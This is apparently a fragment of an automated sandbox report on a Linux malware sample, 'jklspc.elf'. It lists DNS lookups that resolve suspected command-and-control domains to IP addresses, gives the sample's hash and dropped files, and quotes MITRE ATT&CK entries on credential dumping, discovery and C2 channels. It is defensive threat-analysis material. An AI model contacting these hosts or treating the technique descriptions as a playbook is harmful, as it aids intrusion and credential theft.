Dec 24, 2024 04:25:41.967582941 CET	152.53.15.127	192.168.2.15	0x4d2a	Format error (1)	serisbot.geek. [malformed]	none	none	256	437	false
Dec 24, 2024 04:25:53.458283901 CET	185.181.61.24	192.168.2.15	0x2eca	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:53.458283901 CET	185.181.61.24	192.168.2.15	0x2eca	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:25:53.458283901 CET	185.181.61.24	192.168.2.15	0x2eca	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:04.943897009 CET	194.36.144.87	192.168.2.15	0x46b7	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:04.943897009 CET	194.36.144.87	192.168.2.15	0x46b7	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:04.943897009 CET	194.36.144.87	192.168.2.15	0x46b7	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:16.412435055 CET	51.158.108.203	192.168.2.15	0x70ae	Format error (1)	serisbot.geek. [malformed]	none	none	256	472	false
Dec 24, 2024 04:26:27.885147095 CET	152.53.15.127	192.168.2.15	0xbbe3	Format error (1)	serisbot.geek. [malformed]	none	none	256	483	false

Start time (UTC):	03:24:21
Start date (UTC):	24/12/2024
Path:	/tmp/jklspc.elf
Arguments:	/tmp/jklspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05e2EI (deleted)

/tmp/qemu-open.1Lmd1L (deleted)

/tmp/qemu-open.21ek2I (deleted)

/tmp/qemu-open.2XKmsM (deleted)

/tmp/qemu-open.2YdJsK (deleted)

/tmp/qemu-open.3hPZAK (deleted)

/tmp/qemu-open.3iQOKI (deleted)

/tmp/qemu-open.4yNLnI (deleted)

/tmp/qemu-open.5aUL0M (deleted)

/tmp/qemu-open.6S9HXI (deleted)

/tmp/qemu-open.8MCgxL (deleted)

/tmp/qemu-open.8lxlAK (deleted)

/tmp/qemu-open.9IITYL (deleted)

/tmp/qemu-open.AQk59L (deleted)

/tmp/qemu-open.B9l9CI (deleted)

/tmp/qemu-open.BGphdJ (deleted)

/tmp/qemu-open.Bj6nOI (deleted)

/tmp/qemu-open.CD236I (deleted)

/tmp/qemu-open.Cc4oPK (deleted)

/tmp/qemu-open.D7IXWI (deleted)

/tmp/qemu-open.DNfcyK (deleted)

/tmp/qemu-open.DwrDHI (deleted)

/tmp/qemu-open.EQIERM (deleted)

/tmp/qemu-open.F7nMVJ (deleted)

/tmp/qemu-open.FfVCcM (deleted)

/tmp/qemu-open.IFl4FM (deleted)

/tmp/qemu-open.Ip5jMK (deleted)

/tmp/qemu-open.JGOGdL (deleted)

/tmp/qemu-open.JHRh4L (deleted)

/tmp/qemu-open.K4eWYL (deleted)

/tmp/qemu-open.KzeU9I (deleted)

/tmp/qemu-open.L4CVFK (deleted)

/tmp/qemu-open.LlAteL (deleted)

/tmp/qemu-open.M0mr7K (deleted)

Linux Analysis Report
jklspc.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre